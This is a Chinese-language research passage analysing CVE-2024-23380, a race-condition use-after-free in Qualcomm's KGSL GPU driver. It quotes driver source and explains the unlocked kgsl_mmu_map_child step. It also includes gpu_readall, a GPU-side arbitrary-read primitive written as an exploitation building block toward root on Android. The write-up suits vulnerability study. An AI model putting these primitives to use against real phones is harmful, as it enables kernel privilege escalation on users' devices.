CVE-2024-23380:GPU KGSL驱动漏洞利用笔记
背景
2024年8月,Google的Android Red Team团队披露了一个高通GPU驱动的UAF漏洞CVE-2024-23380,借助这个漏洞,攻击者可以从普通APP的权限提升到系统root。接下来本文对该漏洞的成因、利用过程进行详细分析。这个漏洞没有公开的exploit,这里将会分享如何利用这个漏洞的历程。从最低权限提升到root,并且绕过selinux等。
安卓提权,AOSP的漏洞已经非常难挖掘。2025年六月份,开源部分AOSP没有任何新的漏洞报告。虽然可能是google漏洞赏金和公布节奏的调整,但是这些调整也体现出一个趋势,AOSP漏洞挖掘的收益越来越低。 这代表安卓平台越来越安全吗?

普通APP,是untrustapp_app ,比adb shell权限还要低。基本无法访问任何有价值的资源。 即使诱导用户安装之后,没有任何实际的权限。 攻击链通常需要先利用 Android 应用层/框架层漏洞,将权限提升至system(或拿到等价能力),再进一步触达厂商/平台侧暴露的驱动接口,最后尝试利用内核/驱动漏洞完成提权到 root。这一过程往往依赖多阶段、可组合漏洞:既可能涉及 OEM 定制组件(ROM/系统服务/厂商应用),也可能涉及 SoC Vendor 提供的驱动与固件实现。由于不同 OEM 的定制差异与不同平台(高通/联发科)驱动栈差异,漏洞组合的可迁移性较弱,难以形成通用攻击链。从安全研究者的角度看,这类链路需要跨组件、跨厂商长期投入,但可复用成果有限,因此投入产出比偏低。

GPU 驱动在 Android 中通过标准图形栈对上层开放(如 /dev/kgsl、/dev/mali 及gralloc/ION/DMABUF)。为保证任意应用具备渲染与加速能力,这类设备节点通常对普通应用可直接访问:无需额外权限即可打开设备、提交 ioctl、分配/映射缓冲区,不会被SELinux阻拦。与此同时,GPU 驱动需要实现较为独立且复杂的内存分配与映射逻辑,接口与状态机越复杂,缺陷暴露的概率就越高。
这也导致了GPU成为安卓安全生态中最为脆弱的一环,在过去一两年的安卓在野漏洞利用中,攻击者无一例外地瞄准了GPU驱动,借助GPU的驱动漏洞实现从普通APP到root的权限提升。

KGSL 内存模型
对于 GPU 驱动漏洞研究来说,我们需要关注的一个关键特性是 GPU 和 CPU 共用同一块 RAM。
因此,系统里会同时存在两套“虚拟地址 → 物理地址”的映射机制:
CPU 侧:由操作系统维护 CPU MMU 页表,实现进程虚拟地址到物理页的映射。
GPU 侧:GPU 也有自己的 MMU/IOMMU(ARM 平台常见为 SMMU)。GPU 使用的页表由内核中的 GPU 驱动(KGSL) 负责创建与维护,用来限制 GPU可访问的物理内存范围。以 KGSL 为例,内核会用 kgsl_mem_entry / kgsl_memdesc等结构体描述与管理这类内存对象及其映射关系。
两者的“地址”并不相同:应用里看到的地址 ≠ GPU 侧看到的地址,只是最终翻译到相同物理页。这种“双地址空间共享同一物理页”的机制,是很多 KGSL映射类漏洞的根本背景。

共享内存的典型使用流程
实际业务里,CPU 会先分配一段物理内存,再将其映射给 GPU 使用:GPU从共享内存中读取数据完成计算/渲染,并将结果写回同一块共享内存,从而实现 CPU↔ GPU(以及不同 GPU 任务之间)的数据交换。这也是 GPU 驱动安全研究的重要攻击面:驱动必须维护 GPU 页表与映射生命周期(分配、映射、解除映射、释放、权限控制等),流程复杂且涉及多个内核模块协作;历史上已经多次出现因映射/页表管理失误导致的漏洞。

CPU 虚拟内存 vs GPU 虚拟内存
传统 CPU 使用虚拟内存:不同进程的地址空间相互隔离,页表保存虚拟地址到物理页的映射关系。GPU 的内存管理在思想上非常类似:不同 GPU 上下文(context)也运行在相互隔离的 GPU 虚拟地址空间中;KGSL驱动负责维护每个 context 对应的 GPU 页表,并管理 GPU内存的申请、释放,以及与 CPU 的共享映射逻辑。以 KGSL 为例:用户态如何建立共享映射在高通 Adreno 平台上,用户态应用通过 ioctl 与 KGSL内核驱动交互,从而完成“分配共享内存 → 映射到 GPU →映射到用户态”的流程。典型步骤如下:
申请 GPU 可用内存:应用调用(例如)IOCTL_KGSL_GPUMEM_ALLOC请求分配;内核创建并维护一个内存对象(可理解为“一块物理内存 +元数据”),对应结构体常见为 kgsl_mem_entry,具体定义可参考源代码。
映射到 GPU 虚拟地址空间:驱动为特定 GPU context 选择一个 GPU 虚拟地址,并在GPU 页表中建立映射,配置设备侧 IOMMU/SMMU。
映射到用户态地址空间:应用再通过 mmap等方式,把同一块物理页面映射进自己的进程虚拟地址空间,用 CPU 指针读写数据。

高通GPU内存管理
下面具体来讲一讲高通 Adreno平台的内存管理结构, Adreno的 KGSL 驱动会把一次 GPU 内存分配抽象成一个“内存对象”,并用两层构体来描述它:kgsl_mem_entry(对象层) + kgsl_memdesc(描述层)。这两者配合,记录从“用户态申请”到“GPU页表映射”再到“释放回收”的完整生命周期。
如下图展示了 KGSL 内存对象与映射关系的整体位置:

关键结构体:kgsl_mem_entry 与 kgsl_memdesc
1) **kgsl_mem_entry****:GPU 内存对象(高层表示)
kgsl_mem_entry 可以理解为一次 GPU 内存分配在内核侧的“对象”:
每个分配请求都会创建一个 kgsl_mem_entry 实例
负责跟踪对象的生命周期(分配/映射/共享/释放)
提供用户态交互所需的对象标识(例如后续 mmap 需要的 id)
其中几个与研究更相关的字段:
refcount:对象引用计数(kref_init / kref_get / kref_put)
id:内存对象的全局唯一标识符(通常由 idr_alloc分配),用户态与驱动交互、以及后续 mmap/查找对象会依赖它
metadata:用户态可控元数据(调试标签/标记),在漏洞分析中经常是关键线索或影响面
struct kgsl_mem_entry {
struct kref refcount; //计数器
struct kgsl_memdesc memdesc; //包含kgsl_memdesc结构
void *priv_data;
struct rb_node node;
unsigned int id; // 用户态交互用的 obj_id
struct kgsl_process_private *priv;
int pending_free;
char metadata[KGSL_GPUOBJ_ALLOC_METADATA_MAX + 1]; //用户可控的元数据
struct work_struct work;
atomic_t map_count;
};其中refcount值得重点关注:
kgsl_mem_entry 用 kref 做引用计数:
kref_init:初始化kref_get:增加引用kref_put:减少引用并在归零时触发释放
一个正常的场景:
用户态应用(EL0)通过
/dev/kgsl-###分配内存时,KGSL(EL1)创建kgsl_mem_entry,并设置refcount = 1若存在共享(例如跨进程共享纹理/缓冲),会额外持有引用,使
refcount递增,避免对象被提前释放
它的重要性在于:只要 refcount > 0,内核就不能“强制释放”这块内存对象。 因此引用计数相关的错误通常意味着两类风险:
- 过早释放(refcount 错误清零):对象还被别处持有/使用,却被释放 → 极易形成 UAF (Use-After-Free)
- 无法释放(refcount 泄漏):引用没减回来 → 内存泄漏、资源耗尽(DoS 向)
2) kgsl_memdesc:内存描述符(底层表示)
kgsl_memdesc 是更贴近硬件与页表的那一层,重点包含:
实际的物理页/sg_table信息
GPU 虚拟地址(gpuaddr) 与 物理地址(physaddr) 的关联
内存类型、缓存属性、映射属性等影响硬件访问行为的字段
与 GPU 页表(pagetable)的绑定关系
struct kgsl_memdesc {
struct kgsl_pagetable *pagetable;
void *hostptr;
unsigned int hostptr_count;
uint64_t gpuaddr;
phys_addr_t physaddr;
uint64_t size;
unsigned int priv;
struct sg_table *sgt;
const struct kgsl_memdesc_ops *ops;
uint64_t flags;
struct device *dev;
unsigned long attrs;
struct page **pages;
unsigned int page_count;
spinlock_t lock;
struct file *shmem_filp;
struct rb_root_cached ranges;
struct mutex ranges_lock;
u32 gmuaddr;
};kgsl_memdesc的关键字段
pagetable- 指向 GPU 页表结构:定义该对象属于哪个 GPU context/地址空间
- 本质上用于支撑:GPU VA(gpuaddr) → 物理页(pages/physaddr) 的映射
gpuaddrGPU 可见的虚拟地址(GPU VA)
由 KGSL 的映射管理逻辑分配(不是用户态指针)
pages/page_count/sgt/physaddr:对象由哪些物理页组成(适用于非连续物理内存)sgt:scatter-gather 表,用于描述离散物理页集合(DMA/IOMMU 映射常用)physaddr:有时会保存基址(更常见于连续分配或特定后端);分析时要注意它与pages/sgt谁才是“事实来源”hostptr内核态虚拟地址映射(EL1),便于驱动在 CPU 上直接读写这块内存
与用户态
mmap的 CPU 视图相关:用户态通过进程虚拟地址访问,同一物理页可能在内核态也有映射size/flags/attrssize:大小(通常页对齐)flags/attrs:缓存属性、访问权限、映射行为等ops:定义了一些特定的功能或接口操作的方法,,ops可以提供一定程度上的“多态性”,允许不同的内存描述符实现不同的操作集。例如,不同的内存管理策略或实现可能有不同的内存操作函数。ranges:
struct rb_root_cached ranges;指向kgsl_memdes_bind_range(红黑树实现的),用于映射GPU虚拟地址空间(GPU VA)。- 用一个区间
[range.start, range.last]表示 target 的某段 GPU VA - 用
range->entry指向“这段 VA 当前绑定到哪个 childkgsl_mem_entry”

- 用一个区间
kgsl底层逻辑分析
漏洞利用方面和kgsl内存分配有紧密的关系,所以有必要从代码层面分析一下。
关于内存引用计数使用了kgsl_mem_entry_get/put函数,就是对 kgsl_mem_entry的 引用计数(kref) 做增减,用来控制对象生命周期:谁在用这个 entry,谁就要 “get”;不用了就 “put”。当最后一次 put 把计数减到 0,才会触发真正销毁。
kgsl_mem_entry_get(entry) :增加引用计数 +1,确保对象不会在你使用期间被释放。
kgsl_mem_entry_put(entry) 是干啥的?语义:减少引用计数 -1;如果引用计数变为0,会调用
kgsl_mem_entry_destroy函数来处理相关资源的释放。
kgsl_ioctl初始化kgsl代码,创建kgsl_mem_entry和kgsl_memdesc,快速过一下熟悉一下。
long kgsl_ioctl(struct file *filep, unsigned int cmd, unsigned long arg)
{
struct kgsl_device_private *dev_priv = filep->private_data;
struct kgsl_device *device = dev_priv->device;
long ret;
ret = kgsl_ioctl_helper(filep, cmd, arg, kgsl_ioctl_funcs,
ARRAY_SIZE(kgsl_ioctl_funcs));
/*
* If the command was unrecognized in the generic core, try the device
* specific function
*/
if (ret == -ENOIOCTLCMD) {
if (is_compat_task() && device->ftbl->compat_ioctl != NULL)
return device->ftbl->compat_ioctl(dev_priv, cmd, arg);
else if (device->ftbl->ioctl != NULL)
return device->ftbl->ioctl(dev_priv, cmd, arg);
KGSL_DRV_INFO(device, "invalid ioctl code 0x%08X\n", cmd);
}
return ret;
}支持的CMD
static const struct kgsl_ioctl kgsl_ioctl_funcs[] = {
KGSL_IOCTL_FUNC(IOCTL_KGSL_DEVICE_GETPROPERTY,
kgsl_ioctl_device_getproperty),
/* IOCTL_KGSL_DEVICE_WAITTIMESTAMP is no longer supported */
KGSL_IOCTL_FUNC(IOCTL_KGSL_DEVICE_WAITTIMESTAMP_CTXTID,
kgsl_ioctl_device_waittimestamp_ctxtid),
KGSL_IOCTL_FUNC(IOCTL_KGSL_RINGBUFFER_ISSUEIBCMDS,
kgsl_ioctl_rb_issueibcmds),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SUBMIT_COMMANDS,
kgsl_ioctl_submit_commands),
/* IOCTL_KGSL_CMDSTREAM_READTIMESTAMP is no longer supported */
KGSL_IOCTL_FUNC(IOCTL_KGSL_CMDSTREAM_READTIMESTAMP_CTXTID,
kgsl_ioctl_cmdstream_readtimestamp_ctxtid),
/* IOCTL_KGSL_CMDSTREAM_FREEMEMONTIMESTAMP is no longer supported */
KGSL_IOCTL_FUNC(IOCTL_KGSL_CMDSTREAM_FREEMEMONTIMESTAMP_CTXTID,
kgsl_ioctl_cmdstream_freememontimestamp_ctxtid),
KGSL_IOCTL_FUNC(IOCTL_KGSL_DRAWCTXT_CREATE,
kgsl_ioctl_drawctxt_create),
KGSL_IOCTL_FUNC(IOCTL_KGSL_DRAWCTXT_DESTROY,
kgsl_ioctl_drawctxt_destroy),
KGSL_IOCTL_FUNC(IOCTL_KGSL_MAP_USER_MEM,
kgsl_ioctl_map_user_mem),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SHAREDMEM_FROM_PMEM,
kgsl_ioctl_map_user_mem),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SHAREDMEM_FREE,
kgsl_ioctl_sharedmem_free),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SHAREDMEM_FLUSH_CACHE,
kgsl_ioctl_sharedmem_flush_cache),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_ALLOC,
kgsl_ioctl_gpumem_alloc),
KGSL_IOCTL_FUNC(IOCTL_KGSL_CFF_SYNCMEM,
kgsl_ioctl_cff_syncmem),
KGSL_IOCTL_FUNC(IOCTL_KGSL_CFF_USER_EVENT,
kgsl_ioctl_cff_user_event),
KGSL_IOCTL_FUNC(IOCTL_KGSL_TIMESTAMP_EVENT,
kgsl_ioctl_timestamp_event),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SETPROPERTY,
kgsl_ioctl_device_setproperty),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_ALLOC_ID,
kgsl_ioctl_gpumem_alloc_id),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_FREE_ID,
kgsl_ioctl_gpumem_free_id),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_GET_INFO,
kgsl_ioctl_gpumem_get_info),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_SYNC_CACHE,
kgsl_ioctl_gpumem_sync_cache),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUMEM_SYNC_CACHE_BULK,
kgsl_ioctl_gpumem_sync_cache_bulk),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_CREATE,
kgsl_ioctl_syncsource_create),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_DESTROY,
kgsl_ioctl_syncsource_destroy),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE,
kgsl_ioctl_syncsource_create_fence),
KGSL_IOCTL_FUNC(IOCTL_KGSL_SYNCSOURCE_SIGNAL_FENCE,
kgsl_ioctl_syncsource_signal_fence),
KGSL_IOCTL_FUNC(IOCTL_KGSL_CFF_SYNC_GPUOBJ,
kgsl_ioctl_cff_sync_gpuobj),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_ALLOC,
kgsl_ioctl_gpuobj_alloc),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_FREE,
kgsl_ioctl_gpuobj_free),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_INFO,
kgsl_ioctl_gpuobj_info),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_IMPORT,
kgsl_ioctl_gpuobj_import),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_SYNC,
kgsl_ioctl_gpuobj_sync),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPU_COMMAND,
kgsl_ioctl_gpu_command),
KGSL_IOCTL_FUNC(IOCTL_KGSL_GPUOBJ_SET_INFO,
kgsl_ioctl_gpuobj_set_info),
};执行kgsl_ioctl时选择对应的CMD:IOCTL_KGSL_GPUOBJ_ALLOC会触发gpuobj分配逻辑,执行 kgsl_ioctl_gpuobj_alloc。
long kgsl_ioctl_gpuobj_alloc(struct kgsl_device_private *dev_priv,
unsigned int cmd, void *data)
{
struct kgsl_gpuobj_alloc *param = data;
struct kgsl_mem_entry *entry;
entry = gpumem_alloc_entry(dev_priv, param->size, param->flags);
if (IS_ERR(entry))
return PTR_ERR(entry);
copy_metadata(entry, param->metadata, param->metadata_len);
param->size = entry->memdesc.size;
param->flags = entry->memdesc.flags;
param->mmapsize = kgsl_memdesc_footprint(&entry->memdesc);
param->id = entry->id;
/* Put the extra ref from kgsl_mem_entry_create() */
kgsl_mem_entry_put(entry);
return 0;
}调用关系中 gpumem_alloc_entry->kgsl_mem_entry_create,使用kgsl_mem_entry_put对entry结构体进行引用计数,kref_init(&entry->refcount); // 将 refcount 初始化为 1,kref_get(&entry->refcount);// 将 refcoun 增加到2.
static struct kgsl_mem_entry *kgsl_mem_entry_create(void)
{
struct kgsl_mem_entry *entry = kzalloc(sizeof(*entry), GFP_KERNEL);
if (entry != NULL) {
kref_init(&entry->refcount); // 将 refcount 初始化为 1
/* put this ref in userspace memory alloc and map ioctls */
kref_get(&entry->refcount);// 将 refcount 增加 1
atomic_set(&entry->map_count, 0);
}
return entry;
}CMD : IOCTL_KGSL_GPUOBJ_FREE
释放kgsl对象,需要满足两个条件
ioctl 是否会触发“立即释放/延迟释放”的路径**(由 flags/type 决定)
走了 free 路径,对象是否真的会在此刻销毁由引用计数 kref 决定
long kgsl_ioctl_gpuobj_free(struct kgsl_device_private *dev_priv,
unsigned int cmd, void *data)
{
struct kgsl_gpuobj_free *param = data;
struct kgsl_process_private *private = dev_priv->process_priv;
struct kgsl_mem_entry *entry;
long ret;
entry = kgsl_sharedmem_find_id(private, param->id); //检查id是否属于该进程
if (entry == NULL)
return -EINVAL;
/* If no event is specified then free immediately */
if (!(param->flags & KGSL_GPUOBJ_FREE_ON_EVENT))
ret = gpumem_free_entry(entry); //立即释放
else if (param->type == KGSL_GPU_EVENT_TIMESTAMP)
ret = gpuobj_free_on_timestamp(dev_priv, entry, param);
else if (param->type == KGSL_GPU_EVENT_FENCE)
ret = gpuobj_free_on_fence(dev_priv, entry, param);
else
ret = -EINVAL;
kgsl_mem_entry_put(entry);
return ret;
}gpumem_free_entry是直接释放函数,调用kgsl_mem_entry_put。
long gpumem_free_entry(struct kgsl_mem_entry *entry)
{
if (!kgsl_mem_entry_set_pend(entry))
return -EBUSY;
trace_kgsl_mem_free(entry);
kgsl_memfree_add(pid_nr(entry->priv->pid),
entry->memdesc.pagetable ?
entry->memdesc.pagetable->name : 0,
entry->memdesc.gpuaddr, entry->memdesc.size,
entry->memdesc.flags);
kgsl_mem_entry_put(entry);
return 0;
}kgsl_mem_entry_put计数器归零后自动回调kgsl_mem_entry_destroy销毁entry。
static inline void
kgsl_mem_entry_put(struct kgsl_mem_entry *entry)
{
kref_put(&entry->refcount, kgsl_mem_entry_destroy);//回调函数
}void
kgsl_mem_entry_destroy(struct kref *kref)
{
struct kgsl_mem_entry *entry = container_of(kref,
struct kgsl_mem_entry,
refcount);
unsigned int memtype;
if (entry == NULL)
return;
/* pull out the memtype before the flags get cleared */
memtype = kgsl_memdesc_usermem_type(&entry->memdesc);
kgsl_process_sub_stats(entry->priv, memtype, entry->memdesc.size);
/* Detach from process list */
kgsl_mem_entry_detach_process(entry);
if (memtype != KGSL_MEM_ENTRY_KERNEL)
atomic_long_sub(entry->memdesc.size,
&kgsl_driver.stats.mapped);
kgsl_sharedmem_free(&entry->memdesc);
kfree(entry);//释放entry
}以上是entry分配和释放的基本逻辑。后面会涉及更复杂的分配和释放、映射等(例如kgsl_mmu_map_child、kgsl_memdesc_remove_range等),但是万变不离其宗。
GPU开发基础
大多数移动端 GPU 应用并不会直接面对 /dev/kgsl-*,而是通过 OpenGL ES / Vulkan 等标准 API 间接驱动 GPU;这些 API 在系统中会被各类中间层与用户态驱动封装,最终才落到 KGSL ioctl + GPU 命令提交 上。
但从攻击者视角,想要稳定利用 GPU 驱动漏洞,就必须理解两件事: 用户态如何通过 ioctl 与 KGSL 交互、如何构造 GPU 命令,让 GPU 读写指定的 GPU 虚拟地址(gpu_addr)
好在 Google Project Zero 之前已经把 Adreno/KGSL 的大量“工程工作”整理成体系,强烈建议先阅读,:attacking-qualcomm-adreno-gpu,已经把这部分工作做好了。
本文后续重点关注:如何利用 KGSL 的命令提交接口构造“GPU 侧读原语”。在漏洞利用阶段,由于 vbo_entry 往往没有直接的 mmap 视图,我们需要让 GPU 自己把目标地址的数据搬运出来,再由CPU 侧读取。
Adreno 使用 PM4 命令流。我们在用户态构造命令缓冲区(command buffer),最终通过 KGSL 提交给 GPU 执行。cp_type7_packet 用于生成一个 Type-7 包头:
static inline uint32_t cp_type7_packet(uint32_t opcode, uint32_t cnt) {
return CP_TYPE7_PKT | ((cnt) << 0) |
(pm4_calc_odd_parity_bit(cnt) << 15) |
(((opcode) & 0x7F) << 16) |
((pm4_calc_odd_parity_bit(opcode) << 23));
}直观理解:它把 opcode(命令类型)与 cnt(后续跟随多少个 dword 参数)编码成一个包头。后面我们用到的 CP_MEM_TO_MEM、CP_MEM_WRITE 都是这种包
CP_MEM_TO_MEM
可以把数据从一个 GPU 地址复制到另一个 GPU 地址:
src:我们想读的目标地址(例如 vbo 的
gpuaddr)dst:我们自己控制的一块 GPU 内存(提前分配,且可以 mmap 到用户态)
GPU 执行后,目标地址的数据就会被复制到 dst 对应的共享内存页面里, CPU 侧通过 mmap 读取 dst,就等价于“读到了 src 的内容”。
下面的gpu_readall实现了内存顺序读写,会从 addr 开始,按 8 字节连续递增读取 count 个 8 字节值,并把结果写入 results:
static const uint64_t gpu_readall(uint64_t addr, size_t count, void *results)
{
assert(count <= 0x3000);
const uint32_t magic = rand();
size_t offset_scratch = 0x10;
size_t offset_ret = offset_scratch + 0xd0000;
size_t offset_value = offset_scratch + 0xd0000 + 8;
uint32_t *cmds_start = (uint32_t *)(cmd_buffer + offset_scratch);
uint32_t *cmds = cmds_start;
for (size_t i = 0; i < count; i++) {
*cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
*cmds++ = 0;
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i * 8);
//cmds += cp_gpuaddr(cmds, addr + i*4 );
cmds += cp_gpuaddr(cmds, addr + i*8 );
*cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
*cmds++ = 0;
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i*8 + 4);
//cmds += cp_gpuaddr(cmds, addr + i*4 + 4);
cmds += cp_gpuaddr(cmds, addr + i*8 + 4);
}
*cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_ret);
*cmds++ = magic;
__clear_cache(cmds_start, cmds);
usleep(10000);
if (kgsl_gpu_command_n(fd, drawctxt_id, cmd_buffer_gpu_addr + offset_scratch, (uintptr_t)(cmds) - (uintptr_t)(cmds_start), 1) == -1) {
printf("gread8: gpu command");
getchar();
return -1;
}
volatile uint32_t *p = (volatile uint32_t *)(cmd_buffer + offset_ret);
for (int i = 0; *p != magic; i++) {
//printf("%d\n", *p);
usleep(10000);
// fprintf(stderr, "gread %#x...\n", *p);
__clear_cache(cmd_buffer, cmd_buffer + 0x100000);
}
__clear_cache(cmd_buffer, cmd_buffer + 0x100000);
memcpy(results, cmd_buffer + offset_value, 8 * count);
return 0;
}这段代码实现的“读原语”本质是:GPU 负责把目标地址搬运到我们可见的共享内存,CPU 再把结果拷出来。后续在扫描 metadata、定位 kgsl_mem_entry 等步骤里,这个能力会非常关键。
从条件竞争到UAF
2024年8月,Google的Android Red Team团队披露了一个高通GPU驱动的UAF漏洞CVE-2024-23380,借助这个漏洞,攻击者可以从普通APP的权限提升到系统root。接下来本文对该漏洞的成因、利用过程进行详细分析。并且在一些比赛中也有选手尝试利用这个漏洞对国产手机进行提权。
前面KGSL内存模型中已经分析过代码,IOCTL_KGSL_GPUOBJ_ALLOC主要有以下功能
- 分配请求的物理页
- 在GPU虚拟地址分配一个地 址范围(Range)
- 将分配的物理页面映射到 GPU虚拟地址范围
- 将物理地址mmap到用户空 间虚拟内存(可选)
在申请内存时候,flag变量也会导致entry的性质变化,如果KGSL_MEMFLAGS_USE_CPU_MAP则是我们正常使用的GPU变量,GPU虚拟地址和物理地址以及映射地址是一一对应的。

但是除了正常的GPU内存申请(KGSL_MEMFLAGS_USE_CPU_MAP)操作,IOCTL_KGSL_GPUOBJ_ALLOC还支持一个特殊的flag KGSL_MEMFLAGS_VBO。通过查阅驱动代码发现,带有这个特殊flag的GPU对象在申请时并没有申请对应的物理内存,而是以zero page进行占位填充。
IOCTL命令还是原来的IOCTL_KGSL_GPUMEM_ALLOC 或者IOCTL_KGSL_GPUOBJ_ALLOC 但是flag切换成VBOflag = KGSL_MEMFLAGS_VBO

使用IOCTL_KGSL_GPUMEM_BIND_RANGES,会调用kgsl_sharedmem_create_bind_op函数,通过不同的参数传递,例如可以选择kgsl_memdesc_add_range(KGSL_GPUMEM_RANGE_OP_BIND)或者kgsl_memdesc_remove_range

如果选择add_range,则会将我们刚才申请的kgsl_vbo_entry与已经分配的其他GPU内存(虚拟+物理)绑定。
add_range 包含两部分逻辑,将mem_entry绑定到vbo_entry (虚拟地址),将物理地址绑定到vbo。此时kgsl_vbo_entry,可以直接读写ksgl_mem_entry_A和ksgl_mem_entry_B的物理地址。这里可以看到物理地址已经被分配给了两个内存管理的结构。 因此,开发者使用refcount 记录了每个entry被调用的情况,entry_A目前refcount=1,在remove range之前,此时ksgl_mem_entry_A和ksgl_mem_entry_B都是无法由用户释放的。
当然,暂时是没有什么问题的,因为ksgl_mem_entry_A是无法释放的。(安全)

如果选择kgsl_memdesc_remove_range,则是完全相反的操作。会先将kgsl_vbo_entry与物理地址映射解除,然后解除vbo_entry与entry_A/entry_B的映射关系,然后将vbo_entry重新指向Zero页。
static void kgsl_sharedmem_bind_worker(struct work_struct *work)
{
struct kgsl_sharedmem_bind_op *op = container_of(work,
struct kgsl_sharedmem_bind_op, work);
int i;
for (i = 0; i < op->nr_ops; i++) {
if (op->ops[i].op == KGSL_GPUMEM_RANGE_OP_BIND)
kgsl_memdesc_add_range(op->target,
op->ops[i].start,
op->ops[i].last,
op->ops[i].entry,
op->ops[i].child_offset);
else
kgsl_memdesc_remove_range(op->target,
op->ops[i].start,
op->ops[i].last,
op->ops[i].entry);
/* Release the reference on the child entry */
kgsl_mem_entry_put(op->ops[i].entry);
op->ops[i].entry = NULL;
}观察漏洞修复的PATCH信息,漏洞点就在其中的kgsl_memdesc_add_range,可以看到修复方式是将kgsl_mmu_map_child移动到了mutex_lock锁保护。所以关键在于kgsl_mmu_map_child这个函数,它没有在mutex锁里,缺乏针对条件竞争的保护。

所以,让我们梳理一下kgsl_memdesc_add_range和其中的kgsl_mmu_map_child函数做了什么,为什么如此关键。
kgsl_memdesc_add_range流程解析
参数:
traget:vbo_entry(当前指向zero page)
start、last:虚拟地址(GPU VA)区间范围
entry:一块已经分配物理地址的mem_entry
执行步骤:
首先
bind_range_create(start, last, entry);根据入参范围的start和last,创建一个新的 range 节点。并且计数器+1。分配一个
kgsl_memdesc_bind_range写入
range.start/lastrange->entry = entrykgsl_mem_entry_get(entry)(kref +1)
static struct kgsl_memdesc_bind_range *bind_range_create(u64 start, u64 last,
struct kgsl_mem_entry *entry)
{
struct kgsl_memdesc_bind_range *range =
kzalloc(sizeof(*range), GFP_KERNEL);
if (!range)
return ERR_PTR(-ENOMEM);
range->range.start = start;
range->range.last = last;
range->entry = kgsl_mem_entry_get(entry);
if (!range->entry) {
kfree(range);
return ERR_PTR(-EINVAL);
}
return range;
}然后出于安全考虑,直接暴力解除这个range(映射GPU VA用)范围内的所有映射关系,使用
kgsl_mmu_unmap_range(pagetable, memdesc, start, len): 把target的 pagetable 中[start, start+len)这段 GPU VA 的 PTE 清空 ,也就是取消了 GPU VA → PA 的映射。然后循环索引当前range范围内的其他range结构,进行合并避免重复:
next = interval_tree_iter_first(&memdesc->ranges, start, last);如果存在旧的range,将对覆盖/替换掉的旧 range 节点所引用的cur->entry** 做put(ref count -- )。执行
interval_tree_insert(&range->range, &memdesc->ranges);把新创建的 range插入到target->memdesc.ranges(vbo_entry)这棵区间树里。也就是将一开始bind_range_create(start, last, entry):的range 里记录了[start,last] -> entry。。解开异步锁
mutex_unlock执行
kgsl_mmu_map_child(memdesc->pagetable, memdesc, start,&entry->memdesc, offset, last - start + 1)让页表里让 GPU VA[start,last]指向了 entry的物理地址。地址空间:
memdesc->pagetable(target 所在的 GPU 页表 / SMMU 上下文)GPU VA 区间:从
start开始,长度len = last-start+1物理来源:来自
entry->memdesc的物理页集合(pages/sgt/shmem)起始偏移:从 child 的
offset开始取物理页因此绑定完成后,GPU 访问
[start, start+len)这段 VA,IOMMU/SMMU 会翻译到 child entry 的物理页
总结下来核心两步骤,分别对应下面两个step
STEP1:通过range来实现让VBO与child entry建立形式上的链接关系(vbo->GPU VA)。
STEP2:通过修改页表来实现VBO与child entry的物理地址上的联系(vbo->PA)


所以问题很明显就是step2没有互斥锁的保护,而这是一个映射物理地址到vbo的range中的关键步骤。一旦因为某种原因,原本的kgsl_mem_entry被释放了,但是step2仍然执行了,就会造成对一块空闲地址的控制,这很容易导致Use After Free。
kgsl_memdesc_add_range代码:
static int kgsl_memdesc_add_range(struct kgsl_mem_entry *target,
u64 start, u64 last, struct kgsl_mem_entry *entry, u64 offset)
{
struct interval_tree_node *node, *next;
struct kgsl_memdesc *memdesc = &target->memdesc;
struct kgsl_memdesc_bind_range *range =
bind_range_create(start, last, entry);//创建一个新的 range 节点。并且计数器+1
if (IS_ERR(range))
return PTR_ERR(range);
mutex_lock(&memdesc->ranges_lock);
/*
* Unmap the range first. This increases the potential for a page fault
* but is safer in case something goes bad while updating the interval
* tree
*/
kgsl_mmu_unmap_range(memdesc->pagetable, memdesc, start,
last - start + 1);//解除range内GPU虚拟地址->物理地址的映射关系,(安全优先)
next = interval_tree_iter_first(&memdesc->ranges, start, last);//区间索引树
while (next) {
struct kgsl_memdesc_bind_range *cur;
node = next;
cur = bind_to_range(node);
next = interval_tree_iter_next(node, start, last);
trace_kgsl_mem_remove_bind_range(target, cur->range.start,
cur->entry, bind_range_len(cur));
interval_tree_remove(node, &memdesc->ranges);
// 是用来判断“新绑定从旧区间的左边开始覆盖,还是从旧区间内部开始覆盖”,从而决定对旧 range 做删除、裁剪还是拆分;同时这也决定了旧 entry 的引用计数是否需要 put、是否需要为拆分新增 get。
if (start <= cur->range.start) {
if (last >= cur->range.last) {
kgsl_mem_entry_put(cur->entry);//取消索引 refcount-1
kfree(cur);
continue;
}
/* Adjust the start of the mapping */
cur->range.start = last + 1;
/* And put it back into the tree */
interval_tree_insert(node, &memdesc->ranges);
trace_kgsl_mem_add_bind_range(target,
cur->range.start, cur->entry, bind_range_len(cur));
} else {
if (last < cur->range.last) {
struct kgsl_memdesc_bind_range *temp;
/*
* The range is split into two so make a new
* entry for the far side
*/
